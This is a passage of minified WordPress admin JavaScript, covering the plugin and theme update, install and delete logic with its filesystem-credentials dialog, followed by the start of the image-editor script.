t=c('tr.inactive[data-slug="'+e.slug+'"]'),a=c(".theme-actions .delete-theme"),s=g.template("item-update-row"),n=t.siblings("#"+e.slug+"-update"),i=r(h("Deletion failed: %s"),e.errorMessage),l=g.updates.adminNotice({className:"update-message notice-error notice-alt",message:i});g.updates.maybeHandleCredentialError(e,"delete-theme")||("themes-network"===pagenow?n.length?(n.find(".notice-error").remove(),n.find(".plugin-update").append(l)):t.addClass("update").after(s({slug:e.slug,colspan:c("#bulk-action-form").find("thead th:not(.hidden), thead td").length,content:l})):c(".theme-info .theme-description").before(l),a.html(a.data("originaltext")),g.a11y.speak(i,"assertive"),f.trigger("wp-theme-delete-error",e))},g.updates._addCallbacks=function(e,t){return"import"===pagenow&&"install-plugin"===t&&(e.success=g.updates.installImporterSuccess,e.error=g.updates.installImporterError),e},g.updates.queueChecker=function(){var e;if(!g.updates.ajaxLocked&&g.updates.queue.length)switch((e=g.updates.queue.shift()).action){case"install-plugin":g.updates.installPlugin(e.data);break;case"update-plugin":g.updates.updatePlugin(e.data);break;case"delete-plugin":g.updates.deletePlugin(e.data);break;case"install-theme":g.updates.installTheme(e.data);break;case"update-theme":g.updates.updateTheme(e.data);break;case"delete-theme":g.updates.deleteTheme(e.data)}},g.updates.requestFilesystemCredentials=function(e){!1===g.updates.filesystemCredentials.available&&(e&&!g.updates.$elToReturnFocusToFromCredentialsModal&&(g.updates.$elToReturnFocusToFromCredentialsModal=c(e.target)),g.updates.ajaxLocked=!0,g.updates.requestForCredentialsModalOpen())},g.updates.maybeRequestFilesystemCredentials=function(e){g.updates.shouldRequestFilesystemCredentials&&!g.updates.ajaxLocked&&g.updates.requestFilesystemCredentials(e)},g.updates.keydown=function(e){27===e.keyCode?g.updates.requestForCredentialsModalCancel():9===e.keyCode&&("upgrade"!==e.target.id||e.shiftKey?"hostname"===e.target.id&&e.shiftKey&&(c("#upgrade").trigger("focus"),e.preventDefault()):(c("#hostname").trigger("focus"),e.preventDefault()))},g.updates.requestForCredentialsModalOpen=function(){var e=c("#request-filesystem-credentials-dialog");c("body").addClass("modal-open"),e.show(),e.find("input:enabled:first").trigger("focus"),e.on("keydown",g.updates.keydown)},g.updates.requestForCredentialsModalClose=function(){c("#request-filesystem-credentials-dialog").hide(),c("body").removeClass("modal-open"),g.updates.$elToReturnFocusToFromCredentialsModal&&g.updates.$elToReturnFocusToFromCredentialsModal.trigger("focus")},g.updates.requestForCredentialsModalCancel=function(){(g.updates.ajaxLocked||g.updates.queue.length)&&(_.each(g.updates.queue,function(e){f.trigger("credential-modal-cancel",e)}),g.updates.ajaxLocked=!1,g.updates.queue=[],g.updates.requestForCredentialsModalClose())},g.updates.showErrorInCredentialsForm=function(e){var t=c("#request-filesystem-credentials-form");t.find(".notice").remove(),t.find("#request-filesystem-credentials-title").after('<div class="notice notice-alt notice-error"><p>'+e+"</p></div>")},g.updates.credentialError=function(e,t){e=g.updates._addCallbacks(e,t),g.updates.queue.unshift({action:t,data:e}),g.updates.filesystemCredentials.available=!1,g.updates.showErrorInCredentialsForm(e.errorMessage),g.updates.requestFilesystemCredentials()},g.updates.maybeHandleCredentialError=function(e,t){return!(!g.updates.shouldRequestFilesystemCredentials||!e.errorCode||"unable_to_connect_to_filesystem"!==e.errorCode||(g.updates.credentialError(e,t),0))},g.updates.isValidResponse=function(e,t){var a,s=h("Something went wrong.");if(_.isObject(e)&&!_.isFunction(e.always))return!0;switch(_.isString(e)&&"-1"===e?s=h("An error has occurred. Please reload the page and try again."):_.isString(e)?s=e:void 0!==e.readyState&&0===e.readyState?s=h("Connection lost or the server is busy. Please try again later."):_.isString(e.responseText)&&""!==e.responseText?s=e.responseText:_.isString(e.statusText)&&(s=e.statusText),t){case"update":a=h("Update failed: %s");break;case"install":a=h("Installation failed: %s");break;case"check-dependencies":a=h("Dependencies check failed: %s");break;case"activate":a=h("Activation failed: %s");break;case"delete":a=h("Deletion failed: %s")}return s=s.replace(/<[\/a-z][^<>]*>/gi,""),a=a.replace("%s",s),g.updates.addAdminNotice({id:"unknown_error",className:"notice-error is-dismissible",message:_.escape(a)}),g.updates.ajaxLocked=!1,g.updates.queue=[],c(".button.updating-message").removeClass("updating-message").removeAttr("aria-label").prop("disabled",!0).text(h("Update failed.")),c(".updating-message:not(.button):not(.thickbox)").removeClass("updating-message notice-warning").addClass("notice-error").find("p").removeAttr("aria-label").text(a),g.a11y.speak(a,"assertive"),!1},g.updates.beforeunload=function(){if(g.updates.ajaxLocked)return h("Updates may not complete if you navigate away from this page.")},c(function(){var i=c("#plugin-filter, #plugin-information-footer"),o=c("#bulk-action-form"),e=c("#request-filesystem-credentials-form"),t=c("#request-filesystem-credentials-dialog"),a=c(".plugins-php .wp-filter-search"),s=c(".plugin-install-php .wp-filter-search");(m=_.extend(m,window._wpUpdatesItemCounts||{})).totals&&g.updates.refreshCount(),g.updates.shouldRequestFilesystemCredentials=0<t.length,t.on("submit","form",function(e){e.preventDefault(),g.updates.filesystemCredentials.ftp.hostname=c("#hostname").val(),g.updates.filesystemCredentials.ftp.username=c("#username").val(),g.updates.filesystemCredentials.ftp.password=c("#password").val(),g.updates.filesystemCredentials.ftp.connectionType=c('input[name="connection_type"]:checked').val(),g.updates.filesystemCredentials.ssh.publicKey=c("#public_key").val(),g.updates.filesystemCredentials.ssh.privateKey=c("#private_key").val(),g.updates.filesystemCredentials.fsNonce=c("#_fs_nonce").val(),g.updates.filesystemCredentials.available=!0,g.updates.ajaxLocked=!1,g.updates.queueChecker(),g.updates.requestForCredentialsModalClose()}),t.on("click",'[data-js-action="close"], .notification-dialog-background',g.updates.requestForCredentialsModalCancel),e.on("change",'input[name="connection_type"]',function(){c("#ssh-keys").toggleClass("hidden","ssh"!==c(this).val())}).trigger("change"),f.on("credential-modal-cancel",function(e,t){var a,s=c(".updating-message");"import"===pagenow?s.removeClass("updating-message"):"plugins"===pagenow||"plugins-network"===pagenow?"update-plugin"===t.action?a=c('tr[data-plugin="'+t.data.plugin+'"]').find(".update-message"):"delete-plugin"===t.action&&(a=c('[data-plugin="'+t.data.plugin+'"]').find(".row-actions a.delete")):"themes"===pagenow||"themes-network"===pagenow?"update-theme"===t.action?a=c('[data-slug="'+t.data.slug+'"]').find(".update-message"):"delete-theme"===t.action&&"themes-network"===pagenow?a=c('[data-slug="'+t.data.slug+'"]').find(".row-actions a.delete"):"delete-theme"===t.action&&"themes"===pagenow&&(a=c(".theme-actions .delete-theme")):a=s,a&&a.hasClass("updating-message")&&(void 0===(s=a.data("originaltext"))&&(s=c("<p>").html(a.find("p").data("originaltext"))),a.removeClass("updating-message").html(s),"plugin-install"!==pagenow&&"plugin-install-network"!==pagenow||("update-plugin"===t.action?a.attr("aria-label",r(d("Update %s now","plugin"),a.data("name"))):"install-plugin"===t.action&&a.attr("aria-label",r(d("Install %s now","plugin"),a.data("name"))))),g.a11y.speak(h("Update canceled."))}),o.on("click","[data-plugin] .update-link",function(e){var t=c(e.target),a=t.parents("tr");e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.maybeRequestFilesystemCredentials(e),g.updates.$elToReturnFocusToFromCredentialsModal=a.find(".check-column input"),g.updates.updatePlugin({plugin:a.data("plugin"),slug:a.data("slug")}))}),i.on("click",".update-now",function(e){var t=c(e.target);e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.maybeRequestFilesystemCredentials(e),g.updates.updatePlugin({plugin:t.data("plugin"),slug:t.data("slug")}))}),i.on("click",".install-now",function(e){var t=c(e.target);e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.shouldRequestFilesystemCredentials&&!g.updates.ajaxLocked&&(g.updates.requestFilesystemCredentials(e),f.on("credential-modal-cancel",function(){c(".install-now.updating-message").removeClass("updating-message").text(d("Install Now","plugin")),g.a11y.speak(h("Update canceled."))})),g.updates.installPlugin({slug:t.data("slug")}))}),f.on("click","#plugin-information-footer .activate-now",function(e){e.preventDefault(),window.parent.location.href=c(e.target).attr("href")}),f.on("click",".importer-item .install-now",function(e){var t=c(e.target),a=c(this).data("name");e.preventDefault(),t.hasClass("updating-message")||(g.updates.shouldRequestFilesystemCredentials&&!g.updates.ajaxLocked&&(g.updates.requestFilesystemCredentials(e),f.on("credential-modal-cancel",function(){t.removeClass("updating-message").attr("aria-label",r(d("Install %s now","plugin"),a)).text(d("Install Now","plugin")),g.a11y.speak(h("Update canceled."))})),g.updates.installPlugin({slug:t.data("slug"),pagenow:pagenow,success:g.updates.installImporterSuccess,error:g.updates.installImporterError}))}),o.on("click","[data-plugin] a.delete",function(e){var t=c(e.target).parents("tr"),a=t.hasClass("is-uninstallable")?r(h("Are you sure you want to delete %s and its data?"),t.find(".plugin-title strong").text()):r(h("Are you sure you want to delete %s?"),t.find(".plugin-title strong").text());e.preventDefault(),window.confirm(a)&&(g.updates.maybeRequestFilesystemCredentials(e),g.updates.deletePlugin({plugin:t.data("plugin"),slug:t.data("slug")}))}),f.on("click",".themes-php.network-admin .update-link",function(e){var t=c(e.target),a=t.parents("tr");e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.maybeRequestFilesystemCredentials(e),g.updates.$elToReturnFocusToFromCredentialsModal=a.find(".check-column input"),g.updates.updateTheme({slug:a.data("slug")}))}),f.on("click",".themes-php.network-admin a.delete",function(e){var t=c(e.target).parents("tr"),a=r(h("Are you sure you want to delete %s?"),t.find(".theme-title strong").text());e.preventDefault(),window.confirm(a)&&(g.updates.maybeRequestFilesystemCredentials(e),g.updates.deleteTheme({slug:t.data("slug")}))}),o.on("click",'[type="submit"]:not([name="clear-recent-list"])',function(e){var t,s,n=c(e.target).siblings("select").val(),a=o.find('input[name="checked[]"]:checked'),i=0,l=0,d=[];switch(pagenow){case"plugins":case"plugins-network":t="plugin";break;case"themes-network":t="theme";break;default:return}if(!a.length)return e.preventDefault(),c("html, body").animate({scrollTop:0}),g.updates.addAdminNotice({id:"no-items-selected",className:"notice-error is-dismissible",message:h("Please select at least one item to perform this action on.")});switch(n){case"update-selected":s=n.replace("selected",t);break;case"delete-selected":var u=h("plugin"===t?"Are you sure you want to delete the selected plugins and their data?":"Caution: These themes may be active on other sites in the network. Are you sure you want to proceed?");if(!window.confirm(u))return void e.preventDefault();s=n.replace("selected",t);break;default:return}g.updates.maybeRequestFilesystemCredentials(e),e.preventDefault(),o.find('.manage-column [type="checkbox"]').prop("checked",!1),f.trigger("wp-"+t+"-bulk-"+n,a),a.each(function(e,t){var t=c(t),a=t.parents("tr");"update-selected"!==n||a.hasClass("update")&&!a.find("notice-error").length?"update-selected"===n&&a.hasClass("is-enqueued")||(a.addClass("is-enqueued"),g.updates.queue.push({action:s,data:{plugin:a.data("plugin"),slug:a.data("slug")}})):t.prop("checked",!1)}),f.on("wp-plugin-update-success wp-plugin-update-error wp-theme-update-success wp-theme-update-error",function(e,t){var a,s=c('[data-slug="'+t.slug+'"]');"wp-"+t.update+"-update-success"===e.type?i++:(e=t.pluginName||s.find(".column-primary strong").text(),l++,d.push(e+": "+t.errorMessage)),s.find('input[name="checked[]"]:checked').prop("checked",!1),g.updates.adminNotice=g.template("wp-bulk-updates-admin-notice"),g.updates.addAdminNotice({id:"bulk-action-notice",className:"bulk-action-notice",successes:i,errors:l,errorMessages:d,type:t.update}),a=c("#bulk-action-notice").on("click","button",function(){c(this).toggleClass("bulk-action-errors-collapsed").attr("aria-expanded",!c(this).hasClass("bulk-action-errors-collapsed")),a.find(".bulk-action-errors").toggleClass("hidden")}),0<l&&!g.updates.queue.length&&c("html, body").animate({scrollTop:0})}),f.on("wp-updates-notice-added",function(){g.updates.adminNotice=g.template("wp-updates-admin-notice")}),g.updates.queueChecker()}),s.length&&s.attr("aria-describedby","live-search-desc"),s.on("keyup input",_.debounce(function(e,t){var a=c(".plugin-install-search"),s={_ajax_nonce:g.updates.ajaxNonce,s:encodeURIComponent(e.target.value),tab:"search",type:c("#typeselector").val(),pagenow:pagenow},n=location.href.split("?")[0]+"?"+c.param(_.omit(s,["_ajax_nonce","pagenow"]));"keyup"===e.type&&27===e.which&&(e.target.value=""),g.updates.searchTerm===s.s&&"typechange"!==t||(i.empty(),g.updates.searchTerm=s.s,window.history&&window.history.replaceState&&window.history.replaceState(null,"",n),a.length||(a=c('<li class="plugin-install-search" />').append(c("<a />",{class:"current",href:n,text:h("Search Results")})),c(".wp-filter .filter-links .current").removeClass("current").parents(".filter-links").prepend(a),i.prev("p").remove(),c(".plugins-popular-tags-wrapper").remove()),void 0!==g.updates.searchRequest&&g.updates.searchRequest.abort(),c("body").addClass("loading-content"),g.updates.searchRequest=g.ajax.post("search-install-plugins",s).done(function(e){c("body").removeClass("loading-content"),i.append(e.items),delete g.updates.searchRequest,0===e.count?g.a11y.speak(h("You do not appear to have any plugins available at this time.")):g.a11y.speak(r(h("Number of plugins found: %d"),e.count))}))},1e3)),a.length&&a.attr("aria-describedby","live-search-desc"),a.on("keyup input",_.debounce(function(e){var s={_ajax_nonce:g.updates.ajaxNonce,s:encodeURIComponent(e.target.value),pagenow:pagenow,plugin_status:"all"};"keyup"===e.type&&27===e.which&&(e.target.value=""),g.updates.searchTerm!==s.s&&(g.updates.searchTerm=s.s,e=_.object(_.compact(_.map(location.search.slice(1).split("&"),function(e){if(e)return e.split("=")}))),s.plugin_status=e.plugin_status||"all",window.history&&window.history.replaceState&&window.history.replaceState(null,"",location.href.split("?")[0]+"?s="+s.s+"&plugin_status="+s.plugin_status),void 0!==g.updates.searchRequest&&g.updates.searchRequest.abort(),o.empty(),c("body").addClass("loading-content"),c(".subsubsub .current").removeClass("current"),g.updates.searchRequest=g.ajax.post("search-plugins",s).done(function(e){var t=c("<span />").addClass("subtitle").html(r(h("Search results for: %s"),"<strong>"+_.escape(decodeURIComponent(s.s))+"</strong>")),a=c(".wrap .subtitle");s.s.length?a.length?a.replaceWith(t):c(".wp-header-end").before(t):(a.remove(),c(".subsubsub ."+s.plugin_status+" a").addClass("current")),c("body").removeClass("loading-content"),o.append(e.items),delete g.updates.searchRequest,0===e.count?g.a11y.speak(h("No plugins found. Try a different search.")):g.a11y.speak(r(h("Number of plugins found: %d"),e.count))}))},500)),f.on("submit",".search-plugins",function(e){e.preventDefault(),c("input.wp-filter-search").trigger("input")}),f.on("click",".try-again",function(e){e.preventDefault(),s.trigger("input")}),c("#typeselector").on("change",function(){var e=c('input[name="s"]');e.val().length&&e.trigger("input","typechange")}),c("#plugin_update_from_iframe").on("click",function(e){var t=window.parent===window?null:window.parent;c.support.postMessage=!!window.postMessage,!1!==c.support.postMessage&&null!==t&&-1===window.parent.location.pathname.indexOf("update-core.php")&&(e.preventDefault(),e={action:"update-plugin",data:{plugin:c(this).data("plugin"),slug:c(this).data("slug")}},t.postMessage(JSON.stringify(e),window.location.origin))}),c(window).on("message",function(e){var t,e=e.originalEvent,a=document.location.protocol+"//"+document.location.host;if(e.origin===a){try{t=JSON.parse(e.data)}catch(e){return}if(t)if(void 0!==t.status&&void 0!==t.slug&&void 0!==t.text&&void 0!==t.ariaLabel&&(a=c(".plugin-card-"+t.slug).find('[data-slug="'+t.slug+'"]'),void 0!==t.removeClasses&&a.removeClass(t.removeClasses),void 0!==t.addClasses&&a.addClass(t.addClasses),""===t.ariaLabel?a.removeAttr("aria-label"):a.attr("aria-label",t.ariaLabel),"dependencies-check-success"===t.status&&a.attr("data-name",t.pluginName).attr("data-slug",t.slug).attr("data-plugin",t.plugin).attr("href",t.href),a.text(t.text)),void 0!==t.action)switch(t.action){case"decrementUpdateCount":g.updates.decrementCount(t.upgradeType);break;case"install-plugin":case"update-plugin":void 0!==t.data&&void 0!==t.data.slug&&(t.data=g.updates._addCallbacks(t.data,t.action),g.updates.queue.push(t),g.updates.queueChecker())}}}),c(window).on("beforeunload",g.updates.beforeunload),f.on("keydown",".column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update",function(e){32===e.which&&e.preventDefault()}),f.on("click keyup",".column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update",function(e){var l,d,u,o=c(this),r=o.attr("data-wp-action"),p=o.find(".label");if(("keyup"!==e.type||32===e.which)&&(u="themes"!==pagenow?o.closest(".column-auto-updates"):o.closest(".theme-autoupdate"),e.preventDefault(),"yes"!==o.attr("data-doing-ajax"))){switch(o.attr("data-doing-ajax","yes"),pagenow){case"plugins":case"plugins-network":d="plugin",l=o.closest("tr").attr("data-plugin");break;case"themes-network":d="theme",l=o.closest("tr").attr("data-slug");break;case"themes":d="theme",l=o.attr("data-slug")}u.find(".notice.notice-error").addClass("hidden"),"enable"===r?p.text(h("Enabling...")):p.text(h("Disabling...")),o.find(".dashicons-update").removeClass("hidden"),e={action:"toggle-auto-updates",_ajax_nonce:m.ajax_nonce,state:r,type:d,asset:l},c.post(window.ajaxurl,e).done(function(e){var t,a,s,n,i=o.attr("href");if(e.success){if("themes"!==pagenow){switch(n=c(".auto-update-enabled span"),t=c(".auto-update-disabled span"),a=parseInt(n.text().replace(/[^\d]+/g,""),10)||0,s=parseInt(t.text().replace(/[^\d]+/g,""),10)||0,r){case"enable":++a,--s;break;case"disable":--a,++s}a=Math.max(0,a),s=Math.max(0,s),n.text("("+a+")"),t.text("("+s+")")}"enable"===r?(o[0].hasAttribute("href")&&(i=i.replace("action=enable-auto-update","action=disable-auto-update"),o.attr("href",i)),o.attr("data-wp-action","disable"),p.text(h("Disable auto-updates")),u.find(".auto-update-time").removeClass("hidden"),g.a11y.speak(h("Auto-updates enabled"))):(o[0].hasAttribute("href")&&(i=i.replace("action=disable-auto-update","action=enable-auto-update"),o.attr("href",i)),o.attr("data-wp-action","enable"),p.text(h("Enable auto-updates")),u.find(".auto-update-time").addClass("hidden"),g.a11y.speak(h("Auto-updates disabled"))),f.trigger("wp-auto-update-setting-changed",{state:r,type:d,asset:l})}else n=e.data&&e.data.error?e.data.error:h("The request could not be completed."),u.find(".notice.notice-error").removeClass("hidden").find("p").text(n),g.a11y.speak(n,"assertive")}).fail(function(){u.find(".notice.notice-error").removeClass("hidden").find("p").text(h("The request could not be completed.")),g.a11y.speak(h("The request could not be completed."),"assertive")}).always(function(){o.removeAttr("data-doing-ajax").find(".dashicons-update").addClass("hidden")})}})})}(jQuery,window.wp,window._wpUpdatesSettings);/*! This file is auto-generated */
!function(c){var n=wp.i18n.__,l=window.imageEdit={iasapi:{},hold:{},postid:"",_view:!1,toggleCropTool:function(t,i,e){var a,o,r,s=c("#image-preview-"+t),n=this.iasapi.getSelection();l.toggleControls(e),"false"==("true"===c(e).attr("aria-expanded")?"true":"false")?(this.iasapi.cancelSelection(),l.setDisabled(c(".imgedit-crop-clear"),0)):(l.setDisabled(c(".imgedit-crop-clear"),1),e=c("#imgedit-start-x-"+t).val()?c("#imgedit-start-x-"+t).val():0,a=c("#imgedit-start-y-"+t).val()?c("#imgedit-start-y-"+t).val():0,o=c("#imgedit-sel-width-"+t).val()?c("#imgedit-sel-width-"+t).val():s.innerWidth(),r=c("#imgedit-sel-height-"+t).val()?c("#imgedit-sel-height-"+t).val():s.innerHeight(),isNaN(n.x1)&&(this.setCropSelection(t,{x1:e,y1:a,x2:o,y2:r,width:o,height:r}),n=this.iasapi.getSelection()),0===n.x1&&0===n.y1&&0===n.x2&&0===n.y2?this.iasapi.setSelection(0,0,s.innerWidth(),s.innerHeight(),!0):this.iasapi.setSelection(e,a,o,r,!0),this.iasapi.setOptions({show:!0}),this.iasapi.update())},handleCropToolClick:function(t,i,e){e.classList.contains("imgedit-crop-clear")?(this.iasapi.cancelSelection(),l.setDisabled(c(".imgedit-crop-apply"),0),c("#imgedit-sel-width-"+t).val(""),c("#imgedit-sel-height-"+t).val(""),c("#imgedit-start-x-"+t).val("0"),c("#imgedit-start-y-"+t).val("0"),c("#imgedit-selection-"+t).val("")):l.crop(t,i,e)},intval:function(t){return 0|t},setDisabled:function(t,i){i?t.removeClass("disabled").prop("disabled",!1):t.addClass("disabled").prop("disabled",!0)},init:function(e){var t=this,i=c("#image-editor-"+t.postid),a=t.intval(c("#imgedit-x-"+e).val()),o=t.intval(c("#imgedit-y-"+e).val());t.postid!==e&&i.length&&t.close(t.postid),t.hold.w=t.hold.ow=a,t.hold.h=t.hold.oh=o,t.hold.xy_ratio=a/o,t.hold.sizer=parseFloat(c("#imgedit-sizer-"+e).val()),t.postid=e,c("#imgedit-response-"+e).empty(),c("#imgedit-panel-"+e).on("keypress",function(t){var i=c("#imgedit-nonce-"+e).val();26===t.which&&t.ctrlKey&&l.undo(e,i),25===t.which&&t.ctrlKey&&l.redo(e,i)}),c("#imgedit-panel-"+e).on("keypress",'input[type="text"]',function(t){var i=t.keyCode;if(36<i&&i<41&&c(this).trigger("blur"),13===i)return t.preventDefault(),t.stopPropagation(),!1}),c(document).on("image-editor-ui-ready",this.focusManager)},toggleEditor:function(t,i,e){t=c("#imgedit-wait-"+t);i?t.fadeIn("fast"):t.fadeOut("fast",function(){e&&c(document).trigger("image-editor-ui-ready")})},togglePopup:function(t){var i=c(t),t=c(t).attr("aria-controls"),t=c("#"+t);return i.attr("aria-expanded","false"===i.attr("aria-expanded")?"true":"false"),t.toggleClass("imgedit-popup-menu-open").slideToggle("fast").css({"z-index":2e5}),"true"===i.attr("aria-expanded")&&t.find("button").first().trigger("focus"),!1},monitorPopup:function(){var e=document.querySelector(".imgedit-rotate-menu-container"),a=document.querySelector(".imgedit-rotate-menu-container .imgedit-rotate");return setTimeout(function(){var t=document.activeElement,i=e.contains(t);t&&!i&&"true"===a.getAttribute("aria-expanded")&&l.togglePopup(a)},100),!1},browsePopup:function(t){var i=c(t),t=c(t).parent(".imgedit-popup-menu").find("button"),i=t.index(i),e=i-1,i=i+1,a=t.length,a=(e<0&&(e=a-1),i===a&&(i=0),!1);return 40===event.keyCode?a=t.get(i):38===event.keyCode&&(a=t.get(e)),a&&(a.focus(),event.preventDefault()),!1},closePopup:function(t){var t=c(t).parent(".imgedit-popup-menu"),i=t.attr("id");return c('button[aria-controls="'+i+'"]').attr("aria-expanded","false").trigger("focus"),t.toggleClass("imgedit-popup-menu-open").slideToggle("fast"),!1},toggleHelp:function(t){t=c(t);return t.attr("aria-expanded","false"===t.attr("aria-expanded")?"true":"false").parents(".imgedit-group-top").toggleClass("imgedit-help-toggled").find(".imgedit-help").slideToggle("fast"),!1},toggleControls:function(t){var t=c(t),i=c("#"+t.attr("aria-controls"));return t.attr("aria-expanded","false"===t.attr("aria-expanded")?"true":"false"),i.parent(".imgedit-group").toggleClass("imgedit-panel-active"),!1},getTarget:function(t){var i=c("#imgedit-save-target-"+t);return i.length?i.find('input[name="imgedit-target-'+t+'"]:checked').val()||"full":"all"},scaleChanged:function(t,i,e){var a=c("#imgedit-scale-width-"+t),o=c("#imgedit-scale-height-"+t),t=c("#imgedit-scale-warn-"+t),r="",s="",n=c("#imgedit-scale-button");!1!==this.validateNumeric(e)&&(i?(s=""!==a.val()?Math.round(a.val()/this.hold.xy_ratio):"",o.val(s)):(r=""!==o.val()?Math.round(o.val()*this.hold.xy_ratio):"",a.val(r)),s&&s>this.hold.oh||r&&r>this.hold.ow?(t.css("visibility","visible"),n.prop("disabled",!0)):(t.css("visibility","hidden"),n.prop("disabled",!1)))},getSelRatio:function(t){var i=this.hold.w,e=this.hold.h,a=this.intval(c("#imgedit-crop-width-"+t).val()),t=this.intval(c("#imgedit-crop-height-"+t).val());return a&&t?a+":"+t:i&&e?i+":"+e:"1:1"},filterHistory:function(t,i){var e,a,o,r=c("#imgedit-history-"+t).val(),s=[];if(""===r)return"";if(r=JSON.parse(r),0<(e=this.intval(c("#imgedit-undone-"+t).val())))for(;0<e;)r.pop(),e--;if(i){if(!r.length)return this.hold.w=this.hold.ow,this.hold.h=this.hold.oh,"";(t=(t=r[r.length-1]).c||t.r||t.f||!1)&&(this.hold.w=t.fw,this.hold.h=t.fh)}for(a in r)(o=r[a]).hasOwnProperty("c")?s[a]={c:{x:o.c.x,y:o.c.y,w:o.c.w,h:o.c.h}}:o.hasOwnProperty("r")?s[a]={r:o.r.r}:o.hasOwnProperty("f")&&(s[a]={f:o.f.f});return JSON.stringify(s)},refreshEditor:function(o,t,r){var s,i=this;i.toggleEditor(o,1),t={action:"imgedit-preview",_ajax_nonce:t,postid:o,history:i.filterHistory(o,1),rand:i.intval(1e6*Math.random())},s=c('<img id="image-preview-'+o+'" alt="" />').on("load",{history:t.history},function(t){var i=c("#imgedit-crop-"+o),e=l,a=(""!==t.data.history&&(t=JSON.parse(t.data.history))[t.length-1].hasOwnProperty("c")&&(e.setDisabled(c("#image-undo-"+o),!0),c("#image-undo-"+o).trigger("focus")),i.empty().append(s),t=Math.max(e.hold.w,e.hold.h),a=Math.max(c(s).width(),c(s).height()),e.hold.sizer=a<t?a/t:1,e.initCrop(o,s,i),null!=r&&r(),c("#imgedit-history-"+o).val()&&"0"===c("#imgedit-undone-"+o).val()?c("button.imgedit-submit-btn","#imgedit-panel-"+o).prop("disabled",!1):c("button.imgedit-submit-btn","#imgedit-panel-"+o).prop("disabled",!0),n("Image updated."));e.toggleEditor(o,0),wp.a11y.speak(a,"assertive")}).on("error",function(){var t=n("Could not load the preview image. Please reload the page and try again.");c("#imgedit-crop-"+o).empty().append('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+t+"</p></div>"),i.toggleEditor(o,0,!0),wp.a11y.speak(t,"assertive")}).attr("src",ajaxurl+"?"+c.param(t))},action:function(i,t,e){var a,o,r,s,n=this;if(n.notsaved(i))return!1;if(t={action:"image-editor",_ajax_nonce:t,postid:i},"scale"===e){if(a=c("#imgedit-scale-width-"+i),o=c("#imgedit-scale-height-"+i),r=n.intval(a.val()),s=n.intval(o.val()),r<1)return a.trigger("focus"),!1;if(s<1)return o.trigger("focus"),!1;if(r===n.hold.ow||s===n.hold.oh)return!1;t.do="scale",t.fwidth=r,t.fheight=s}else{if("restore"!==e)return!1;t.do="restore"}n.toggleEditor(i,1),c.post(ajaxurl,t,function(t){c("#image-editor-"+i).empty().append(t.data.html),n.toggleEditor(i,0,!0),n._view&&n._view.refresh()}).done(function(t){t&&t.data.message.msg?wp.a11y.speak(t.data.message.msg):t&&t.data.message.error&&wp.a11y.speak(t.data.message.error)})},save:function(i,t){var e=this.getTarget(i),a=this.filterHistory(i,0),o=this;if(""===a)return!1;this.toggleEditor(i,1),t={action:"image-editor",_ajax_nonce:t,postid:i,history:a,target:e,context:c("#image-edit-context").length?c("#image-edit-context").val():null,do:"save"},c.post(ajaxurl,t,function(t){t.data.error?(c("#imgedit-response-"+i).html('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+t.data.error+"</p></div>"),l.close(i),wp.a11y.speak(t.data.error)):(t.data.fw&&t.data.fh&&c("#media-dims-"+i).html(t.data.fw+" &times; "+t.data.fh),t.data.thumbnail&&c(".thumbnail","#thumbnail-head-"+i).attr("src",""+t.data.thumbnail),t.data.msg&&(c("#imgedit-response-"+i).html('<div class="notice notice-success" tabindex="-1" role="alert"><p>'+t.data.msg+"</p></div>"),wp.a11y.speak(t.data.msg)),o._view?o._view.save():l.close(i))})},open:function(e,t,i){this._view=i;var a=c("#image-editor-"+e),o=c("#media-head-"+e),r=c("#imgedit-open-btn-"+e),s=r.siblings(".spinner");if(!r.hasClass("button-activated"))return s.addClass("is-active"),c.ajax({url:ajaxurl,type:"post",data:{action:"image-editor",_ajax_nonce:t,postid:e,do:"open"},beforeSend:function(){r.addClass("button-activated")}}).done(function(t){var i;"-1"===t&&(i=n("Could not load the preview image."),a.html('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+i+"</p></div>")),t.data&&t.data.html&&a.html(t.data.html),o.fadeOut("fast",function(){a.fadeIn("fast",function(){i&&c(document).trigger("image-editor-ui-ready")}),r.removeClass("button-activated"),s.removeClass("is-active")}),l.init(e)})},imgLoaded:function(t){var i=c("#image-preview-"+t),e=c("#imgedit-crop-"+t);void 0===this.hold.sizer&&this.init(t),this.initCrop(t,i,e),this.setCropSelection(t,{x1:0,y1:0,x2:0,y2:0,width:i.innerWidth(),height:i.innerHeight()}),this.toggleEditor(t,0,!0)},focusManager:function(){setTimeout(function(){var t=c('.notice[role="alert"]');(t=t.length?t:c(".imgedit-wrap").find(":tabbable:first")).attr("tabindex","-1").trigger("focus")},100)},initCrop:function(a,t,i){var o=this,r=c("#imgedit-sel-width-"+a),s=c("#imgedit-sel-height-"+a),n=c("#imgedit-start-x-"+a),d=c("#imgedit-start-y-"+a),t=c(t);t.data("imgAreaSelect")||(o.iasapi=t.imgAreaSelect({parent:i,instance:!0,handles:!0,keys:!0,minWidth:3,minHeight:3,onInit:function(t){c(t).next().css("position","absolute").nextAll(".imgareaselect-outer").css("position","absolute"),i.children().on("mousedown, touchstart",function(t){var i,e=!1;t.shiftKey&&(t=o.iasapi.getSelection(),i=o.getSelRatio(a),e=t&&t.width&&t.height?t.width+":"+t.height:i),o.iasapi.setOptions({aspectRatio:e})})},onSelectStart:function(){l.setDisabled(c("#imgedit-crop-sel-"+a),1),l.setDisabled(c(".imgedit-crop-clear"),1),l.setDisabled(c(".imgedit-crop-apply"),1)},onSelectEnd:function(t,i){l.setCropSelection(a,i),c("#imgedit-crop > *").is(":visible")||l.toggleControls(c(".imgedit-crop.button"))},onSelectChange:function(t,i){var e=l.hold.sizer;r.val(l.round(i.width/e)),s.val(l.round(i.height/e)),n.val(l.round(i.x1/e)),d.val(l.round(i.y1/e))}}))},setCropSelection:function(t,i){if(!(i=i||0)||i.width<3&&i.height<3)return 